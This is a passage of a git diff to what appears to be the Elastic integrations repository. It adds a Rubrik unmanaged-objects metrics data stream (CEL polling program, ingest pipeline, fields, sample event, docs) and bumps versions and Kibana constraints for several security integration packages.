preserve_original_event +{{/if}} +{{#each tags as |tag|}} + - {{tag}} +{{/each}} +{{#contains "forwarded" tags}} +publisher_pipeline.disable_host: true +{{/contains}} +{{#if processors}} +processors: +{{processors}} +{{/if}} + +program: |- + state.with( + request("POST", state.token_url, { + "client_id": state.client_id, + "client_secret": state.client_secret, + "cluster_uuid": state.cluster_uuid + }.encode_json() + ).with( + { + "Header": { + "Content-Type": ["application/json"], + }, + } + ).do_request().as(token_resp, (token_resp.StatusCode == 200) ? + bytes(token_resp.Body).decode_json().as(token_body, + request("GET", state.url).with( + { + "Header": { + "Content-Type": ["application/json"], + "Authorization": ["Bearer " + token_body.session.token], + } + } + ).do_request().as(resp, (resp.StatusCode == 200) ? + bytes(resp.Body).decode_json().as(body, + { + "events": body.data.map(e, + { + "message": e.encode_json(), + } + ), + "want_more": body.hasMore + } + ) + : + { + "events": [ + { + "error": { + "code": string(resp.StatusCode), + "id": string(resp.Status), + "message": "GET request failed: " + + ( + (size(resp.Body) != 0) ? + string(resp.Body) + : + string(resp.Status) + " (" + string(resp.StatusCode) + ")" + ), + } + } + ], + "want_more": false + } + ) + ) + : + { + "events": [ + { + "error": { + "code": string(token_resp.StatusCode), + "id": string(token_resp.Status), + "message": "Token request failed: " + string(token_resp.Status), + } + } + ], + "want_more": false + } + ) + ) \ No newline at end of file diff --git a/packages/rubrik/data_stream/unmanaged_objects/elasticsearch/ingest_pipeline/default.yml b/packages/rubrik/data_stream/unmanaged_objects/elasticsearch/ingest_pipeline/default.yml new file mode 100644 index 00000000000..58e06bd80f3 --- /dev/null +++ b/packages/rubrik/data_stream/unmanaged_objects/elasticsearch/ingest_pipeline/default.yml @@ -0,0 +1,90 @@ +--- +description: Pipeline for parsing Rubrik Unmanaged Object metrics +processors: + - set: + field: ecs.version + value: 8.16.0 + - set: + field: event.kind + value: metric + - rename: + field: message + target_field: event.original + ignore_missing: true + if: "ctx.event?.original == null" + description: 'Renames the original `message` field to `event.original` to store a copy of the original message. The `event.original` field is not touched if the document already has one; it may happen when Logstash sends the document.' + - remove: + field: message + ignore_missing: true + if: "ctx.event?.original != null" + description: 'The `message` field is no longer required if the document has an `event.original` field.' + - json: + field: event.original + target_field: json + - rename: + field: json.id + target_field: rubrik.unmanaged_objects.id + ignore_missing: true + - rename: + field: json.name + target_field: rubrik.unmanaged_objects.name + ignore_missing: true + - rename: + field: json.objectType + target_field: rubrik.unmanaged_objects.object_type + ignore_missing: true + - rename: + field: json.snapshotCount + target_field: rubrik.unmanaged_objects.snapshot.count + ignore_missing: true + - rename: + field: json.unmanagedStatus + target_field: rubrik.unmanaged_objects.unmanaged_status + ignore_missing: true + - rename: + field: json.localStorage + target_field: rubrik.unmanaged_objects.local_storage.bytes + ignore_missing: true + - rename: + field: json.archiveStorage + target_field: rubrik.unmanaged_objects.archive_storage.bytes + ignore_missing: true + - rename: + field: json.retentionSlaDomainId + target_field: rubrik.unmanaged_objects.retention_sla_domain.id + ignore_missing: true + - rename: + field: json.retentionSlaDomainName + target_field: rubrik.unmanaged_objects.retention_sla_domain.name + ignore_missing: true + - script: + description: Drops null/empty values recursively + lang: painless + ignore_failure: true + source: | + boolean drop(Object o) { + if (o == null || o == "") { + return true; + } else if (o instanceof Map) { + ((Map) o).values().removeIf(v -> drop(v)); + return (((Map) o).size() == 0); + } else if (o instanceof List) { + ((List) o).removeIf(v -> drop(v)); + return (((List) o).length == 0); + } + return false; + } + drop(ctx); + - remove: + field: json + ignore_missing: true +on_failure: + - set: + field: event.kind + value: pipeline_error + - append: + field: error.message + value: >- + Processor '{{{ _ingest.on_failure_processor_type }}}' + {{{#_ingest.on_failure_processor_tag}}}with tag '{{{ _ingest.on_failure_processor_tag }}}' + {{{/_ingest.on_failure_processor_tag}}}failed with message '{{{ _ingest.on_failure_message }}}' diff --git a/packages/rubrik/data_stream/unmanaged_objects/fields/base-fields.yml b/packages/rubrik/data_stream/unmanaged_objects/fields/base-fields.yml new file mode 100644 index 00000000000..7c798f4534c --- /dev/null +++ b/packages/rubrik/data_stream/unmanaged_objects/fields/base-fields.yml @@ -0,0 +1,12 @@ +- name: data_stream.type + type: constant_keyword + description: Data stream type. +- name: data_stream.dataset + type: constant_keyword + description: Data stream dataset. +- name: data_stream.namespace + type: constant_keyword + description: Data stream namespace. +- name: '@timestamp' + type: date + description: Event timestamp. diff --git a/packages/rubrik/data_stream/unmanaged_objects/fields/fields.yml b/packages/rubrik/data_stream/unmanaged_objects/fields/fields.yml new file mode 100644 index 00000000000..6286dccee72 --- /dev/null +++ b/packages/rubrik/data_stream/unmanaged_objects/fields/fields.yml @@ -0,0 +1,48 @@ +- name: rubrik + type: group + fields: + - name: unmanaged_objects + type: group + fields: + - name: id + type: keyword + dimension: true + description: The unmanaged object UUID. + - name: name + type: keyword + dimension: true + description: The unmanaged object name. + - name: object_type + type: keyword + dimension: true + description: The unmanaged object type. + - name: archive_storage.bytes + type: long + metric_type: gauge + unit: byte + description: The amount of storage on the archival location used by unmanaged snapshots, in bytes. + - name: local_storage.bytes + type: long + metric_type: gauge + unit: byte + description: The amount of storage on the local cluster used by unmanaged snapshots, in bytes. + - name: snapshot.count + type: long + metric_type: gauge + description: Total number of snapshots to for the specified object. + - name: unmanaged_status + type: keyword + dimension: true + description: Unmanaged status for the specified object. + - name: retention_sla_domain + type: group + fields: + - name: id + type: keyword + dimension: true + description: The ID of the SLA domain. + - name: name + type: keyword + dimension: true + description: The name of the SLA domain. + diff --git a/packages/rubrik/data_stream/unmanaged_objects/manifest.yml b/packages/rubrik/data_stream/unmanaged_objects/manifest.yml new file mode 100644 index 00000000000..c5adff07c70 --- /dev/null +++ b/packages/rubrik/data_stream/unmanaged_objects/manifest.yml @@ -0,0 +1,63 @@ +type: metrics +title: Rubrik Storage Unmanaged Objects Metrics +streams: + - input: cel + title: Rubrik Storage Unmanaged Objects + description: Collect Rubrik Storage unmanaged objects data via the RSC API + enabled: true + template_path: cel.yml.hbs + vars: + - name: cluster_ip + type: text + title: Cluster IP + description: IP of the cluster. + multi: false + required: true + show_user: true + - name: cluster_uuid + type: text + title: Cluster UUID + multi: false + required: true + show_user: true + description: The UUID of the Rubrik cluster + - name: resource_timeout + type: text + title: Resource Timeout + description: Duration before declaring that the HTTP client connection has timed out. Valid time units are ns, us, ms, s, m, h. Default is 60s + show_user: false + multi: false + required: false + default: 60s + - name: interval + type: text + title: Interval + description: The interval at which the API is polled, supported in seconds, minutes, and hours. + show_user: true + required: true + default: 5m + - name: processors + type: yaml + title: Processors + multi: false + required: false + show_user: false + description: > + Processors are used to reduce the number of fields in the exported event or to enhance the event with metadata. This executes in the agent before the logs are parsed. See [Processors](https://www.elastic.co/guide/en/fleet/current/elastic-agent-processor-configuration.html) for details. + + - name: tags + type: text + title: Tags + multi: true + required: false + show_user: false + default: + - rubrik.unmanaged_objects + - name: preserve_original_event + required: true + show_user: true + title: Preserve original event + description: Preserves a raw copy of the original event, added to the field `event.original` + type: bool + multi: false + default: false diff --git a/packages/rubrik/data_stream/unmanaged_objects/sample_event.json b/packages/rubrik/data_stream/unmanaged_objects/sample_event.json new file mode 100644 index 00000000000..dae5436b3dc --- /dev/null +++ b/packages/rubrik/data_stream/unmanaged_objects/sample_event.json @@ -0,0 +1,77 @@ +{ + "agent": { + "name": "docker-fleet-agent", + "id": "04f90ee5-976b-4bc4-8ad6-5ed776487c8d", + "ephemeral_id": "3c4f4447-00a4-4594-823d-8868a0d6a7e0", + "type": "filebeat", + "version": "8.13.1" + }, + "rubrik": { + "unmanaged_objects": { + "retention_sla_domain": { + "name": "Unprotected", + "id": "UNPROTECTED" + }, + "object_type": "VirtualMachine", + "local_storage": { + "bytes": 187053910 + }, + "name": "Ubuntu 14.10 Template", + "unmanaged_status": "Relic", + "archive_storage": { + "bytes": 0 + }, + "id": "VirtualMachine:::401333e6-16e3-4964-b5c2-076b1876ec8a-vm-237", + "snapshot": { + "count": 1 + } + } + }, + "@timestamp": "2025-02-19T14:46:25.854Z", + "ecs": { + "version": "8.16.0" + }, + "data_stream": { + "namespace": "default", + "type": "metrics", + "dataset": "rubrik.unmanaged_objects" + }, + "host": { + "hostname": "docker-fleet-agent", + "os": { + "kernel": "6.10.14-linuxkit", + "codename": "focal", + "name": "Ubuntu", + "type": "linux", + "family": "debian", + "version": "20.04.6 LTS (Focal Fossa)", + "platform": "ubuntu" + }, + "containerized": false, + "ip": [ + "172.18.0.7" + ], + "name": "docker-fleet-agent", + "id": "0c943706945f4061b59521bb029d64e5", + "mac": [ + "02-42-AC-12-00-07" + ], + "architecture": "arch64" + }, + "elastic_agent": { + "id": "04f90ee5-976b-4bc4-8ad6-5ed776487c8d", + "version": "8.13.1", + "snapshot": false + }, + "event": { + "agent_id_status": "verified", + "ingested": "2025-02-19T14:46:35Z", + "original": "{\"archiveStorage\":0,\"hasSnapshotsWithPolicy\":true,\"id\":\"VirtualMachine:::401333e6-16e3-4964-b5c2-076b1876ec8a-vm-237\",\"isRemote\":false,\"localStorage\":187053910,\"name\":\"Ubuntu 14.10 Template\",\"objectType\":\"VirtualMachine\",\"physicalLocation\":[{\"managedId\":\"vCenter:::401333e6-16e3-4964-b5c2-076b1876ec8a\",\"name\":\"vcvxrail02.local\"}],\"retentionSlaDomainId\":\"UNPROTECTED\",\"retentionSlaDomainName\":\"Unprotected\",\"snapshotCount\":1,\"unmanagedStatus\":\"Relic\"}", + "kind": "metric", + "dataset": "rubrik.unmanaged_objects" + }, + "tags": [ + "preserve_original_event", + "rubrik.unmanaged_objects" + ] +} \ No newline at end of file diff --git a/packages/rubrik/data_stream/virtual_machines/manifest.yml b/packages/rubrik/data_stream/virtual_machines/manifest.yml index 2bc23161378..5615b4465fd 100644 --- a/packages/rubrik/data_stream/virtual_machines/manifest.yml +++ b/packages/rubrik/data_stream/virtual_machines/manifest.yml @@ -70,3 +70,5 @@ streams: required: false show_user: false description: The request tracer logs requests and responses to the agent's local file-system for debugging configurations. Enabling this request tracing compromises security and should only be used for debugging. See [documentation](https://www.elastic.co/guide/en/beats/filebeat/current/filebeat-input-httpjson.html#_request_tracer_filename) for details. +elasticsearch: + index_mode: time_series \ No newline at end of file diff --git a/packages/rubrik/docs/README.md b/packages/rubrik/docs/README.md index fc23cfe4432..06f5f618dca 100644 --- a/packages/rubrik/docs/README.md +++ b/packages/rubrik/docs/README.md @@ -1058,6 +1058,8 @@ An example event for `global_cluster_performance` looks as following: The `node_statistics` dataset provides metrics related to the performance of the Rubrik cluster nodes. +**IMPORTANT: Setting `interval` to more than `1h` may cause documents to be dropped if node statistics metrics fall outside the index time range.** + **ECS Field Reference** Please refer to the following [document](https://www.elastic.co/guide/en/ecs/current/ecs-field-reference.html) for detailed information on ECS fields. @@ -1168,4 +1170,215 @@ An example event for `node_statistics` looks as following: "rubrik.node_statistics" ] } +``` + +### Unmanaged Objects + +The `unmanaged_objects` dataset provides unmanaged object snapshot and storage metrics. + +**ECS Field Reference** + +Please refer to the following [document](https://www.elastic.co/guide/en/ecs/current/ecs-field-reference.html) for detailed information on ECS fields. + +**Exported fields** + +| Field | Description | Type | Unit | Metric Type | +|---|---|---|---|---| +| @timestamp | Event timestamp. | date | | | +| data_stream.dataset | Data stream dataset. | constant_keyword | | | +| data_stream.namespace | Data stream namespace. | constant_keyword | | | +| data_stream.type | Data stream type. | constant_keyword | | | +| rubrik.unmanaged_objects.archive_storage.bytes | The amount of storage on the archival location used by unmanaged snapshots, in bytes. | long | byte | gauge | +| rubrik.unmanaged_objects.id | The unmanaged object UUID. | keyword | | | +| rubrik.unmanaged_objects.local_storage.bytes | The amount of storage on the local cluster used by unmanaged snapshots, in bytes. | long | byte | gauge | +| rubrik.unmanaged_objects.name | The unmanaged object name. | keyword | | | +| rubrik.unmanaged_objects.object_type | The unmanaged object type. | keyword | | | +| rubrik.unmanaged_objects.retention_sla_domain.id | The ID of the SLA domain. | keyword | | | +| rubrik.unmanaged_objects.retention_sla_domain.name | The name of the SLA domain. | keyword | | | +| rubrik.unmanaged_objects.snapshot.count | Total number of snapshots to for the specified object. | long | | gauge | +| rubrik.unmanaged_objects.unmanaged_status | Unmanaged status for the specified object. | keyword | | | + + +An example event for `unmanaged_objects` looks as following: + +```json +{ + "agent": { + "name": "docker-fleet-agent", + "id": "04f90ee5-976b-4bc4-8ad6-5ed776487c8d", + "ephemeral_id": "3c4f4447-00a4-4594-823d-8868a0d6a7e0", + "type": "filebeat", + "version": "8.13.1" + }, + "rubrik": { + "unmanaged_objects": { + "retention_sla_domain": { + "name": "Unprotected", + "id": "UNPROTECTED" + }, + "object_type": "VirtualMachine", + "local_storage": { + "bytes": 187053910 + }, + "name": "Ubuntu 14.10 Template", + "unmanaged_status": "Relic", + "archive_storage": { + "bytes": 0 + }, + "id": "VirtualMachine:::401333e6-16e3-4964-b5c2-076b1876ec8a-vm-237", + "snapshot": { + "count": 1 + } + } + }, + "@timestamp": "2025-02-19T14:46:25.854Z", + "ecs": { + "version": "8.16.0" + }, + "data_stream": { + "namespace": "default", + "type": "metrics", + "dataset": "rubrik.unmanaged_objects" + }, + "host": { + "hostname": "docker-fleet-agent", + "os": { + "kernel": "6.10.14-linuxkit", + "codename": "focal", + "name": "Ubuntu", + "type": "linux", + "family": "debian", + "version": "20.04.6 LTS (Focal Fossa)", + "platform": "ubuntu" + }, + "containerized": false, + "ip": [ + "172.18.0.7" + ], + "name": "docker-fleet-agent", + "id": "0c943706945f4061b59521bb029d64e5", + "mac": [ + "02-42-AC-12-00-07" + ], + "architecture": "arch64" + }, + "elastic_agent": { + "id": "04f90ee5-976b-4bc4-8ad6-5ed776487c8d", + "version": "8.13.1", + "snapshot": false + }, + "event": { + "agent_id_status": "verified", + "ingested": "2025-02-19T14:46:35Z", + "original": "{\"archiveStorage\":0,\"hasSnapshotsWithPolicy\":true,\"id\":\"VirtualMachine:::401333e6-16e3-4964-b5c2-076b1876ec8a-vm-237\",\"isRemote\":false,\"localStorage\":187053910,\"name\":\"Ubuntu 14.10 Template\",\"objectType\":\"VirtualMachine\",\"physicalLocation\":[{\"managedId\":\"vCenter:::401333e6-16e3-4964-b5c2-076b1876ec8a\",\"name\":\"vcvxrail02.local\"}],\"retentionSlaDomainId\":\"UNPROTECTED\",\"retentionSlaDomainName\":\"Unprotected\",\"snapshotCount\":1,\"unmanagedStatus\":\"Relic\"}", + "kind": "metric", + "dataset": "rubrik.unmanaged_objects" + }, + "tags": [ + "preserve_original_event", + "rubrik.unmanaged_objects" + ] +} +``` + +### SLA Domains + +The `sla_domains` dataset captures key metrics and configurations of Service Level Agreement (SLA) policy domains in a Rubrik environment, including details on the number of protected objects, such as virtual machines, databases, filesets, and hosts. + +**ECS Field Reference** + +Please refer to the following [document](https://www.elastic.co/guide/en/ecs/current/ecs-field-reference.html) for detailed information on ECS fields. + +**Exported fields** + +| Field | Description | Type | Metric Type | +|---|---|---|---| +| @timestamp | Event timestamp. | date | | +| data_stream.dataset | Data stream dataset. | constant_keyword | | +| data_stream.namespace | Data stream namespace. | constant_keyword | | +| data_stream.type | Data stream type. | constant_keyword | | +| rubrik.sla_domains.dbs.count | Number of databases. | long | gauge | +| rubrik.sla_domains.filesets.count | Number of filesets. | long | gauge | +| rubrik.sla_domains.id | The ID of the SLA domain. | keyword | | +| rubrik.sla_domains.linux_hosts.count | Number of physical Linux hosts. | long | gauge | +| rubrik.sla_domains.name | The name of the SLA domain. | keyword | | +| rubrik.sla_domains.vms.count | Number of virtual machines. | long | gauge | +| rubrik.sla_domains.windows_hosts.count | Number of physical Winux hosts. | long | gauge | + + +An example event for `sla_domains` looks as following: + +```json +{ + "agent": { + "name": "docker-fleet-agent", + "id": "04f90ee5-976b-4bc4-8ad6-5ed776487c8d", + "ephemeral_id": "3c4f4447-00a4-4594-823d-8868a0d6a7e0", + "type": "filebeat", + "version": "8.13.1" + }, + "rubrik": { + "sla_domains": { + "dbs": { + "count": 1 + }, + "filesets": { + "count": 1 + }, + "id": "6fc7ca5c-5926-4a85-b236-a43a9935dff9", + "linux_hosts": { + "count": 1 + }, + "name": "cluster-1", + "vms": { + "count": 0 + }, + "windows_hosts": { + "count": 0 + } + } + }, + "@timestamp": "2025-02-19T14:46:25.854Z", + "ecs": { + "version": "8.16.0" + }, + "data_stream": { + "namespace": "default", + "type": "metrics", + "dataset": "rubrik.sla_domains" + }, + "host": { + "hostname": "docker-fleet-agent", + "os": { + "kernel": "6.10.14-linuxkit", + "codename": "focal", + "name": "Ubuntu", + "type": "linux", + "family": "debian", + "version": "20.04.6 LTS (Focal Fossa)", + "platform": "ubuntu" + }, + "containerized": false, + "ip": [ + "172.18.0.7" + ], + "name": "docker-fleet-agent", + "id": "0c943706945f4061b59521bb029d64e5", + "mac": [ + "02-42-AC-12-00-07" + ], + "architecture": "arch64" + }, + "elastic_agent": { + "id": "04f90ee5-976b-4bc4-8ad6-5ed776487c8d", + "version": "8.13.1", + "snapshot": false + }, + "event": { + "agent_id_status": "verified", + "ingested": "2025-02-19T14:46:35Z", + "kind": "metric", + "dataset": "rubrik.sla_domains" + } +} ``` \ No newline at end of file diff --git a/packages/rubrik/manifest.yml b/packages/rubrik/manifest.yml index 540c7680d52..7fc46f44530 100644 --- a/packages/rubrik/manifest.yml +++ b/packages/rubrik/manifest.yml @@ -1,7 +1,7 @@ format_version: 3.0.2 name: rubrik title: "Rubrik RSC Metrics" -version: 0.4.0 +version: 0.8.0 source: license: "Elastic-2.0" description: "Collect Metrics from Rubrik RSC with Elastic Agent." diff --git a/packages/sailpoint_identity_sc/changelog.yml b/packages/sailpoint_identity_sc/changelog.yml index fb4acbe9148..f14ddea2219 100644 --- a/packages/sailpoint_identity_sc/changelog.yml +++ b/packages/sailpoint_identity_sc/changelog.yml @@ -1,3 +1,8 @@ +- version: "0.2.0" + changes: + - description: Update Kibana constraint to support 9.0.0. + type: enhancement + link: https://github.com/elastic/integrations/pull/12919 - version: "0.1.0" changes: - description: Initial release. diff --git a/packages/sailpoint_identity_sc/manifest.yml b/packages/sailpoint_identity_sc/manifest.yml index 74b0474f64d..ba1af7191fd 100644 --- a/packages/sailpoint_identity_sc/manifest.yml +++ b/packages/sailpoint_identity_sc/manifest.yml @@ -1,7 +1,7 @@ format_version: 3.3.0 name: sailpoint_identity_sc title: Sailpoint Identity Security Cloud -version: 0.1.0 +version: "0.2.0" source: license: "Elastic-2.0" description: "Sailpoint identity security cloud provides enterprise identity governance and security capabilities. The integration allows users to extract audit information from their identity security cloud tenant using the ISC's AuditEvent API." @@ -10,7 +10,7 @@ categories: - security conditions: kibana: - version: "^8.16.1" + version: "^8.16.1 || ^9.0.0" elastic: subscription: "basic" screenshots: diff --git a/packages/santa/changelog.yml b/packages/santa/changelog.yml index b553fe8d147..74d913baba3 100644 --- a/packages/santa/changelog.yml +++ b/packages/santa/changelog.yml @@ -1,4 +1,9 @@ # newer versions go on top +- version: "3.24.0" + changes: + - description: Update Kibana constraint to support 9.0.0. + type: enhancement + link: https://github.com/elastic/integrations/pull/12919 - version: "3.23.0" changes: - description: Allow the usage of deprecated log input and support for stack 9.0 diff --git a/packages/santa/manifest.yml b/packages/santa/manifest.yml index 3e6d9a4647c..5ae408ce748 100644 --- a/packages/santa/manifest.yml +++ b/packages/santa/manifest.yml @@ -1,6 +1,6 @@ name: santa title: Google Santa -version: "3.23.0" +version: "3.24.0" description: Collect logs from Google Santa with Elastic Agent. type: integration icons: @@ -12,7 +12,7 @@ categories: - security conditions: kibana: - version: "^8.13.0" + version: "^8.13.0 || ^9.0.0" screenshots: - src: /img/kibana-santa-log-overview.png title: kibana santa log overview diff --git a/packages/sentinel_one_cloud_funnel/changelog.yml b/packages/sentinel_one_cloud_funnel/changelog.yml index 42084f94829..0d725ef5780 100644 --- a/packages/sentinel_one_cloud_funnel/changelog.yml +++ b/packages/sentinel_one_cloud_funnel/changelog.yml @@ -1,4 +1,14 @@ # newer versions go on top +- version: "1.10.0" + changes: + - description: Add support to configure start_timestamp and ignore_older configurations for AWS S3 backed inputs. + type: enhancement + link: https://github.com/elastic/integrations/pull/12645 +- version: "1.9.0" + changes: + - description: Update Kibana constraint to support 9.0.0. + type: enhancement + link: https://github.com/elastic/integrations/pull/12919 - version: "1.8.2" changes: - description: Updated SSL description in package manifest.yml to be uniform and to include links to documentation. diff --git a/packages/sentinel_one_cloud_funnel/data_stream/event/agent/stream/aws-s3.yml.hbs b/packages/sentinel_one_cloud_funnel/data_stream/event/agent/stream/aws-s3.yml.hbs index 81a815bb532..9a9b967d04e 100644 --- a/packages/sentinel_one_cloud_funnel/data_stream/event/agent/stream/aws-s3.yml.hbs +++ b/packages/sentinel_one_cloud_funnel/data_stream/event/agent/stream/aws-s3.yml.hbs @@ -14,6 +14,12 @@ bucket_list_interval: {{interval}} {{#if bucket_list_prefix}} bucket_list_prefix: {{bucket_list_prefix}} {{/if}} +{{#if start_timestamp}} +start_timestamp: {{start_timestamp}} +{{/if}} +{{#if ignore_older}} +ignore_older: {{ignore_older}} +{{/if}} {{else}} diff --git a/packages/sentinel_one_cloud_funnel/data_stream/event/manifest.yml b/packages/sentinel_one_cloud_funnel/data_stream/event/manifest.yml index bd71b5b0191..3815d8f49b0 100644 --- a/packages/sentinel_one_cloud_funnel/data_stream/event/manifest.yml +++ b/packages/sentinel_one_cloud_funnel/data_stream/event/manifest.yml @@ -39,6 +39,20 @@ streams: show_user: true default: 5 description: Number of workers that will process the S3 objects listed. + - name: start_timestamp + type: text + title: "[S3] Start Timestamp" + multi: false + required: false + show_user: false + description: If set, only read S3 objects with last modified timestamp newer than the given timestamp. Accepts a timestamp in `YYYY-MM-DDTHH:MM:SSZ` format. For example, "2020-10-10T10:30:00Z" (UTC) or "2020-10-10T10:30:00Z+02:30" (with zone offset). + - name: ignore_older + type: text + title: "[S3] Ignore Older Timespan" + multi: false + required: false + show_user: false + description: If set, ignore S3 objects whose Last-Modified time is before the ignore older timespan. Timespan is checked from the current time to S3 object's Last-Modified time. Accepts a duration like `48h`, `2h30m`. - name: visibility_timeout type: text title: "[SQS] Visibility Timeout" diff --git a/packages/sentinel_one_cloud_funnel/manifest.yml b/packages/sentinel_one_cloud_funnel/manifest.yml index 3287a7d55f0..2c062c03be8 100644 --- a/packages/sentinel_one_cloud_funnel/manifest.yml +++ b/packages/sentinel_one_cloud_funnel/manifest.yml @@ -1,13 +1,13 @@ format_version: "3.0.2" name: sentinel_one_cloud_funnel title: SentinelOne Cloud Funnel -version: "1.8.2" +version: "1.10.0" description: Collect logs from SentinelOne Cloud Funnel with Elastic Agent. type: integration categories: ["security", "edr_xdr"] conditions: kibana: - version: ^8.16.2 + version: "^8.16.5 || ^9.0.0" elastic: subscription: basic screenshots: diff --git a/packages/servicenow/changelog.yml b/packages/servicenow/changelog.yml index 7ad63dda95c..2114b8ed53f 100644 --- a/packages/servicenow/changelog.yml +++ b/packages/servicenow/changelog.yml @@ -1,4 +1,14 @@ # newer versions go on top +- version: "0.11.0" + changes: + - description: Add support to configure start_timestamp and ignore_older configurations for AWS S3 backed inputs. + type: enhancement + link: https://github.com/elastic/integrations/pull/12645 +- version: "0.10.0" + changes: + - description: Update Kibana constraint to support 9.0.0. + type: enhancement + link: https://github.com/elastic/integrations/pull/12919 - version: "0.9.1" changes: - description: Updated SSL description to be uniform and to include links to documentation. diff --git a/packages/servicenow/data_stream/event/agent/stream/aws-s3.yml.hbs b/packages/servicenow/data_stream/event/agent/stream/aws-s3.yml.hbs index bd2d6dd44c0..e33c0cdfcd4 100644 --- a/packages/servicenow/data_stream/event/agent/stream/aws-s3.yml.hbs +++ b/packages/servicenow/data_stream/event/agent/stream/aws-s3.yml.hbs @@ -14,6 +14,12 @@ bucket_list_interval: {{interval}} {{#if bucket_list_prefix}} bucket_list_prefix: {{bucket_list_prefix}} {{/if}} +{{#if start_timestamp}} +start_timestamp: {{start_timestamp}} +{{/if}} +{{#if ignore_older}} +ignore_older: {{ignore_older}} +{{/if}} {{else}} diff --git a/packages/servicenow/data_stream/event/manifest.yml b/packages/servicenow/data_stream/event/manifest.yml index e9541533dc9..8b66c3a8861 100644 --- a/packages/servicenow/data_stream/event/manifest.yml +++ b/packages/servicenow/data_stream/event/manifest.yml @@ -250,6 +250,20 @@ streams: show_user: true default: 5 description: Number of workers that will process the S3 objects listed. + - name: start_timestamp + type: text + title: "[S3] Start Timestamp" + multi: false + required: false + show_user: false + description: If set, only read S3 objects with last modified timestamp newer than the given timestamp. Accepts a timestamp in `YYYY-MM-DDTHH:MM:SSZ` format. For example, "2020-10-10T10:30:00Z" (UTC) or "2020-10-10T10:30:00Z+02:30" (with zone offset). + - name: ignore_older + type: text + title: "[S3] Ignore Older Timespan" + multi: false + required: false + show_user: false + description: If set, ignore S3 objects whose Last-Modified time is before the ignore older timespan. Timespan is checked from the current time to S3 object's Last-Modified time. Accepts a duration like `48h`, `2h30m`. - name: visibility_timeout type: text title: '[SQS] Visibility Timeout' diff --git a/packages/servicenow/manifest.yml b/packages/servicenow/manifest.yml index 9751cd62627..83da930d3df 100644 --- a/packages/servicenow/manifest.yml +++ b/packages/servicenow/manifest.yml @@ -1,14 +1,14 @@ format_version: 3.2.1 name: servicenow title: "ServiceNow" -version: 0.9.1 +version: "0.11.0" description: "Collect logs from ServiceNow with Elastic Agent." type: integration categories: - security conditions: kibana: - version: "^8.16.2" + version: "^8.16.5 || ^9.0.0" elastic: subscription: "basic" screenshots: diff --git a/packages/slack/changelog.yml b/packages/slack/changelog.yml index 2d1e3727a86..3094d319e73 100644 --- a/packages/slack/changelog.yml +++ b/packages/slack/changelog.yml @@ -1,4 +1,9 @@ # newer versions go on top +- version: "1.25.0" + changes: + - description: Update Kibana constraint to support 9.0.0. + type: enhancement + link: https://github.com/elastic/integrations/pull/12919 - version: "1.24.1" changes: - description: Updated SSL description in package manifest.yml to be uniform and to include links to documentation. diff --git a/packages/slack/manifest.yml b/packages/slack/manifest.yml index bf850b2350d..d05213ad8e5 100644 --- a/packages/slack/manifest.yml +++ b/packages/slack/manifest.yml @@ -1,7 +1,7 @@ format_version: "3.0.2" name: slack title: "Slack Logs" -version: "1.24.1" +version: "1.25.0" description: "Slack Logs Integration" type: integration categories: @@ -9,7 +9,7 @@ categories: - security conditions: kibana: - version: "^8.13.0" + version: "^8.13.0 || ^9.0.0" icons: - src: /img/slack.svg title: Slack logo diff --git a/packages/sophos_central/changelog.yml b/packages/sophos_central/changelog.yml index a98de93e691..6ccce7dd13d 100644 --- a/packages/sophos_central/changelog.yml +++ b/packages/sophos_central/changelog.yml @@ -1,4 +1,9 @@ # newer versions go on top +- version: "1.19.0" + changes: + - description: Update Kibana constraint to support 9.0.0. + type: enhancement + link: https://github.com/elastic/integrations/pull/12919 - version: "1.18.1" changes: - description: Updated SSL description in package manifest.yml to be uniform and to include links to documentation. diff --git a/packages/sophos_central/manifest.yml b/packages/sophos_central/manifest.yml index 89b15b31104..a0bbbd2a313 100644 --- a/packages/sophos_central/manifest.yml +++ b/packages/sophos_central/manifest.yml @@ -1,14 +1,14 @@ format_version: "3.0.2" name: sophos_central title: Sophos Central -version: "1.18.1" +version: "1.19.0" description: This Elastic integration collects logs from Sophos Central with Elastic Agent. type: integration categories: - security conditions: kibana: - version: "^8.13.0" + version: "^8.13.0 || ^9.0.0" elastic: subscription: "basic" screenshots: diff --git a/packages/spycloud/changelog.yml b/packages/spycloud/changelog.yml index 3cc89676725..3ed211ce9f6 100644 --- a/packages/spycloud/changelog.yml +++ b/packages/spycloud/changelog.yml @@ -1,4 +1,9 @@ # newer versions go on top +- version: "1.3.0" + changes: + - description: Update Kibana constraint to support 9.0.0. + type: enhancement + link: https://github.com/elastic/integrations/pull/12919 - version: "1.2.1" changes: - description: Updated SSL description in package manifest.yml to be uniform and to include links to documentation. diff --git a/packages/spycloud/manifest.yml b/packages/spycloud/manifest.yml index 4171e51ed96..c88db3fc87d 100644 --- a/packages/spycloud/manifest.yml +++ b/packages/spycloud/manifest.yml @@ -1,14 +1,14 @@ format_version: 3.2.1 name: spycloud title: SpyCloud Enterprise Protection -version: 1.2.1 +version: "1.3.0" description: Collect data from SpyCloud Enterprise Protection with Elastic Agent. type: integration categories: - security conditions: kibana: - version: "^8.13.0" + version: "^8.13.0 || ^9.0.0" elastic: subscription: basic screenshots: diff --git a/packages/sublime_security/changelog.yml b/packages/sublime_security/changelog.yml index 9116894c1fd..0e7edc467ea 100644 --- a/packages/sublime_security/changelog.yml +++ b/packages/sublime_security/changelog.yml @@ -1,4 +1,14 @@ # newer versions go on top +- version: "1.7.0" + changes: + - description: Add support to configure start_timestamp and ignore_older configurations for AWS S3 backed inputs. + type: enhancement + link: https://github.com/elastic/integrations/pull/12645 +- version: "1.6.0" + changes: + - description: Update Kibana constraint to support 9.0.0. + type: enhancement + link: https://github.com/elastic/integrations/pull/12919 - version: "1.5.2" changes: - description: Fix `sublime_security.email_message.headers.hops.fields` group mappings. diff --git a/packages/sublime_security/data_stream/audit/agent/stream/aws-s3.yml.hbs b/packages/sublime_security/data_stream/audit/agent/stream/aws-s3.yml.hbs index 8c001d18ce5..09b6d9aa716 100644 --- a/packages/sublime_security/data_stream/audit/agent/stream/aws-s3.yml.hbs +++ b/packages/sublime_security/data_stream/audit/agent/stream/aws-s3.yml.hbs @@ -14,6 +14,12 @@ bucket_list_interval: {{interval}} {{#if bucket_list_prefix}} bucket_list_prefix: {{bucket_list_prefix}} {{/if}} +{{#if start_timestamp}} +start_timestamp: {{start_timestamp}} +{{/if}} +{{#if ignore_older}} +ignore_older: {{ignore_older}} +{{/if}} {{else}} diff --git a/packages/sublime_security/data_stream/email_message/agent/stream/aws-s3.yml.hbs b/packages/sublime_security/data_stream/email_message/agent/stream/aws-s3.yml.hbs index 